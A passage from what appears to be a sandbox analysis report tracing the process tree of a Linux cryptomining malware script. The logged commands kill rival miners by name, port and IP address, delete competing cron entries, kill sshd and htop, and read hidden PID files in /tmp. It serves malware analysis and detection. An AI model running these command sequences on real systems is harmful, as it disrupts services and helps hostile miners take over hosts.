  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1406
- /bin/ls
  ls -latrh /proc/version
  2⤵
  PID:1408
- /bin/grep
  grep exe
  2⤵
  PID:1409
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1411
- /bin/grep
  grep exe
  2⤵
  PID:1414
- /bin/ls
  ls -latrh /proc/vmallocinfo
  2⤵
  PID:1413
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1417
- /bin/grep
  grep exe
  2⤵
  PID:1421
- /bin/ls
  ls -latrh /proc/vmstat
  2⤵
  PID:1420
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1426
- /bin/ls
  ls -latrh /proc/zoneinfo
  2⤵
  PID:1428
- /bin/grep
  grep exe
  2⤵
  PID:1429
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1431
- /bin/grep
  grep -v grep
  2⤵
  PID:1434
- /bin/grep
  grep /dot
  2⤵
  PID:1433
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1435
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1432
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1436
- /usr/bin/pkill
  pkill -f hezb
  2⤵
  PID:1437
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1442
- /bin/grep
  grep -v grep
  2⤵
  PID:1440
- /bin/grep
  grep tracepath
  2⤵
  PID:1439
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1438
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1441
- /usr/bin/pkill
  pkill -f /tmp/.out
  2⤵
  PID:1443
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1448
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1447
- /bin/grep
  grep -v grep
  2⤵
  PID:1446
- /bin/grep
  grep ./ll1
  2⤵
  PID:1445
- /bin/ps
  ps aux
  2⤵
  PID:1444
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  PID:1450
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1449
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  - Attempts to change immutable files
  PID:1452
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1451
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1457
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1456
- /bin/grep
  grep -v grep
  2⤵
  PID:1455
- /bin/grep
  grep "php-fpm pool www"
  2⤵
  PID:1454
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1453
- /bin/grep
  grep "Cli start accept"
  2⤵
  PID:1459
- /bin/grep
  grep -v grep
  2⤵
  PID:1460
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1458
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1462
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1461
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1466
- /bin/grep
  grep "bash -k"
  2⤵
  PID:1464
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1467
- /bin/grep
  grep -v grep
  2⤵
  PID:1465
- /bin/ps
  ps aux
  2⤵
  PID:1463
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1472
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1471
- /bin/grep
  grep -v grep
  2⤵
  PID:1470
- /bin/grep
  grep perfctl
  2⤵
  PID:1469
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1468
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1476
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1475
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:1474
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1477
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1482
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1481
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1480
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:1479
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1486
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1485
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1488
- /bin/grep
  grep 207.38.87.6
  2⤵
  PID:1484
- /bin/grep
  grep -v -
  2⤵
  PID:1487
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1492
- /bin/grep
  grep -v -
  2⤵
  PID:1493
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1494
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1491
- /bin/grep
  grep 23.94.214.119
  2⤵
  PID:1490
- /bin/grep
  grep -v -
  2⤵
  PID:1499
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1497
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1500
- /bin/grep
  grep 34.81.218.76:9486
  2⤵
  PID:1496
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1498
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1504
- /bin/grep
  grep -v -
  2⤵
  PID:1505
- /bin/grep
  grep 42.112.28.216:9486
  2⤵
  PID:1502
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1506
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1503
- /usr/bin/pkill
  pkill -f .git/kthreaddw
  2⤵
  - Reads runtime system information
  PID:1508
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:1512
- /bin/grep
  grep -v grep
  2⤵
  PID:1511
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1513
- /bin/grep
  grep agetty
  2⤵
  PID:1510
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1509
- /usr/bin/pkill
  pkill -f 42.112.28.216
  2⤵
  - Reads CPU attributes
  PID:1514
- /bin/sed
  sed /192.81.212.13/d
  2⤵
  PID:1516
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1515
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1517
- /bin/sed
  sed /base64/d
  2⤵
  PID:1519
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1518
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1520
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1523
- /bin/sed
  sed /python/d
  2⤵
  PID:1522
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1521
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1526
- /bin/sed
  sed /shm/d
  2⤵
  PID:1525
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1524
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1529
- /bin/sed
  sed /postgresql/d
  2⤵
  PID:1528
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1527
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1532
- /bin/sed
  sed /cloudfronts/d
  2⤵
  PID:1531
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1530
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1535
- /bin/sed
  sed /sshd/d
  2⤵
  PID:1534
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1533
- /bin/sed
  sed /linux/d
  2⤵
  PID:1537
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1536
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1538
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1541
- /bin/sed
  sed /neoogilvy/d
  2⤵
  PID:1540
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1539
- /bin/sed
  sed /rsync/d
  2⤵
  PID:1543
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1544
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1542
- /bin/sed
  sed /bpdeliver/d
  2⤵
  PID:1546
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1547
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1545
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1550
- /bin/sed
  sed /perfcc/d
  2⤵
  PID:1549
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1548
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1553
- /bin/sed
  sed /atdb/d
  2⤵
  PID:1552
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1551
- /usr/bin/pkill
  pkill -f sshd
  2⤵
  - Reads CPU attributes
  PID:1554
- /usr/bin/pkill
  pkill -f htop
  2⤵
  - Reads runtime system information
  PID:1555
- /usr/bin/pkill
  pkill -f linuxsys
  2⤵
  PID:1557
- /usr/bin/pkill
  pkill -f kthreaddo
  2⤵
  PID:1558
- /usr/bin/pkill
  pkill -f donkey
  2⤵
  - Reads runtime system information
  PID:1559
- /usr/bin/pkill
  pkill -f sysupdater
  2⤵
  PID:1560
- /usr/bin/pkill
  pkill -f php-update.service
  2⤵
  - Reads CPU attributes
  PID:1561
- /usr/bin/pkill
  pkill -f update-setup
  2⤵
  - Reads CPU attributes
  PID:1562
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1566
- /bin/grep
  grep -v -
  2⤵
  PID:1567
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1565
- /bin/grep
  grep :1414
  2⤵
  PID:1564
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1568
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1572
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1571
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1574
- /bin/grep
  grep -v -
  2⤵
  PID:1573
- /bin/grep
  grep 127.0.0.1:52018
  2⤵
  PID:1570
- /bin/grep
  grep -v -
  2⤵
  PID:1579
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1577
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1580
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1578
- /bin/grep
  grep :143
  2⤵
  PID:1576
- /bin/grep
  grep -v -
  2⤵
  PID:1585
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1586
- /bin/grep
  grep :2222
  2⤵
  PID:1582
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1583
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1584
- /bin/grep
  grep -v -
  2⤵
  PID:1591
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1589
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1592
- /bin/grep
  grep :3333
  2⤵
  PID:1588
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1590
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1595
- /bin/grep
  grep -v -
  2⤵
  PID:1597
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1596
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1598
- /bin/grep
  grep :3389
  2⤵
  PID:1594
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1601
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1604
- /bin/grep
  grep :4444
  2⤵
  PID:1600
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1602
- /bin/grep
  grep -v -
  2⤵
  PID:1603
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1607
- /bin/grep
  grep -v -
  2⤵
  PID:1609
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1608
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1610
- /bin/grep
  grep :5555
  2⤵
  PID:1606
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1614
- /bin/grep
  grep -v -
  2⤵
  PID:1615
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1613
- /bin/grep
  grep :6666
  2⤵
  PID:1612
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1616
- /bin/grep
  grep -v -
  2⤵
  PID:1621
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1622
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  - Reads runtime system information
  PID:1619
- /bin/grep
  grep :6665
  2⤵
  PID:1618
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1620
- /bin/grep
  grep -v -
  2⤵
  PID:1627
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1626
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1628
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1625
- /bin/grep
  grep :6667
  2⤵
  PID:1624
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1632
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1631
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1634
- /bin/grep
  grep -v -
  2⤵
  PID:1633
- /bin/grep
  grep :7777
  2⤵
  PID:1630
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1638
- /bin/grep
  grep -v -
  2⤵
  PID:1639
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1640
- /bin/grep
  grep :8444
  2⤵
  PID:1636
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1637
- /bin/grep
  grep -v -
  2⤵
  PID:1645
- /bin/grep
  grep :3347
  2⤵
  PID:1642
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1646
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1644
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1643
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1651
- /bin/grep
  grep -v -
  2⤵
  PID:1652
- /bin/grep
  grep :14444
  2⤵
  PID:1649
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1650
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1653
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1658
- /bin/grep
  grep :14433
  2⤵
  PID:1656
- /bin/grep
  grep -v -
  2⤵
  PID:1659
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1657
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1660
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1664
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1663
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1666
- /bin/grep
  grep -v -
  2⤵
  PID:1665
- /bin/grep
  grep :13531
  2⤵
  PID:1662
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/01
  2⤵
  - Attempts to change immutable files
  PID:1667
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1669
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:1668
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/11
  2⤵
  - Attempts to change immutable files
  PID:1670
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1672
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:1671
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/22
  2⤵
  PID:1673
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1675
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:1674
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.1
  2⤵
  - Attempts to change immutable files
  PID:1676
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1678
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1677
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.2
  2⤵
  - Attempts to change immutable files
  PID:1679
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1681
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1680
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.3
  2⤵
  - Attempts to change immutable files
  PID:1682
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1684
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1683
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1685
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1686
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1687
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.0
  2⤵
  - Attempts to change immutable files
  PID:1688
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1690
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:1689
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.1
  2⤵
  PID:1691
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:1692
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1693
- /bin/sed
  sed -i "s/^0//" /data/./oka.pid
  2⤵
  PID:1694
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1696
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:1695
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/d
  2⤵
  - Attempts to change immutable files
  PID:1697
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1699
- /bin/cat
  cat /tmp/.ICE-unix/d
  2⤵
  PID:1698
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/m
  2⤵
  PID:1700
- /bin/cat
  cat /tmp/.ICE-unix/m
  2⤵
  PID:1701
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1702
- /usr/bin/pkill
  pkill -f 80.211.206.105
  2⤵
  - Reads CPU attributes
  PID:1703
- /usr/bin/pkill
  pkill -f 207.38.87.6
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1704
- /usr/bin/pkill
  pkill -f p8444
  2⤵
  - Reads runtime system information
  PID:1705
- /usr/bin/pkill
  pkill -f supportxmr
  2⤵
  - Reads CPU attributes
  PID:1706
- /usr/bin/pkill
  pkill -f monero
  2⤵
  - Reads CPU attributes
  PID:1707
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1708
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1709
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  - Reads CPU attributes
  PID:1710
- /usr/bin/pkill
  pkill -f cruner
  2⤵
  - Reads runtime system information
  PID:1711
- /usr/bin/pkill
  pkill -f dbused
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1712
- /usr/bin/pkill
  pkill -f bashirc
  2⤵
  - Reads CPU attributes
  PID:1713
- /usr/bin/pkill
  pkill -f meminitsrv
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1714
- /usr/bin/pkill
  pkill -f kthreaddi
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1715
- /usr/bin/pkill
  pkill -f srv00
  2⤵
  - Reads CPU attributes
  PID:1716
- /usr/bin/pkill
  pkill -f /tmp/.javae/javae
  2⤵
  - Reads runtime system information
  PID:1717
- /usr/bin/pkill
  pkill -f .javae
  2⤵
  - Reads runtime system information
  PID:1718
- /usr/bin/pkill
  pkill -f .syna
  2⤵
  PID:1719
- /usr/bin/pkill
  pkill -f xmm
  2⤵
  - Reads runtime system information
  PID:1720
- /usr/bin/pkill
  pkill -f solr.sh
  2⤵
  - Reads CPU attributes
  PID:1721
- /usr/bin/pkill
  pkill -f /tmp/.solr/solrd
  2⤵
  PID:1722
- /usr/bin/pkill
  pkill -f /tmp/javac
  2⤵
  - Reads runtime system information
  PID:1723
- /usr/bin/pkill
  pkill -f /tmp/.go.sh
  2⤵
  PID:1724
- /usr/bin/pkill
  pkill -f /tmp/.x/agetty
  2⤵
  PID:1725
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1726
- /usr/bin/pkill
  pkill -f c3pool
  2⤵
  PID:1727
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/gitag-ssh
  2⤵
  PID:1728
- /usr/bin/pkill
  pkill -f /tmp/1
  2⤵
  PID:1729
- /usr/bin/pkill
  pkill -f /tmp/okk.sh
  2⤵
  PID:1730
- /usr/bin/pkill
  pkill -f /tmp/gitaly
  2⤵
  PID:1731
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  PID:1732
- /usr/bin/pkill
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  2⤵
  - Reads CPU attributes
  PID:1733
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/supervise
  2⤵
  PID:1734
- /usr/bin/pkill
  pkill -f /tmp/.ssh/redis.sh
  2⤵
  - Reads runtime system information
  PID:1735
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1736
- /bin/grep
  grep -v grep
  2⤵
  PID:1738
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1740
- /bin/grep
  grep ./udp
  2⤵
  PID:1737
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1739
- /bin/grep
  grep ./oka
  2⤵
  PID:1742
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1744
- /bin/grep
  grep -v grep
  2⤵
  PID:1743
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1741
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1745
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1750
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1749
- /bin/grep
  grep -v grep
  2⤵
  PID:1748
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1746
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:1747
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1754
- /bin/grep
  grep -v bin
  2⤵
  PID:1753
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:1752
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1757
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1756
- /bin/grep
  grep -v postgres
  2⤵
  PID:1758
- /bin/grep
  grep -v "("
  2⤵
  PID:1755
- /bin/grep
  grep -v kinsing
  2⤵
  PID:1760
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1759
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1761
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  PID:1751
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1762
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1766
- /bin/grep
  grep -v bin
  2⤵
  PID:1765
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1768
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1769
- /bin/grep
  grep -v postgres
  2⤵
  PID:1770
- /bin/grep
  grep -v "("
  2⤵
  PID:1767
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  PID:1763
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1771
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1772
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1773
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:1764
- /bin/grep
  grep -v "("
  2⤵
  PID:1778
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1779
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1777
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1780
- /bin/grep
  grep -v bin
  2⤵
  PID:1776
- /bin/grep
  grep -v postgres
  2⤵
  PID:1781
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1782
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:1775
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1783
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1784
- /bin/ps
  ps ax
  2⤵
  PID:1774
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:1787
- /bin/grep
  grep -v grep
  2⤵
  PID:1786
- /usr/bin/awk
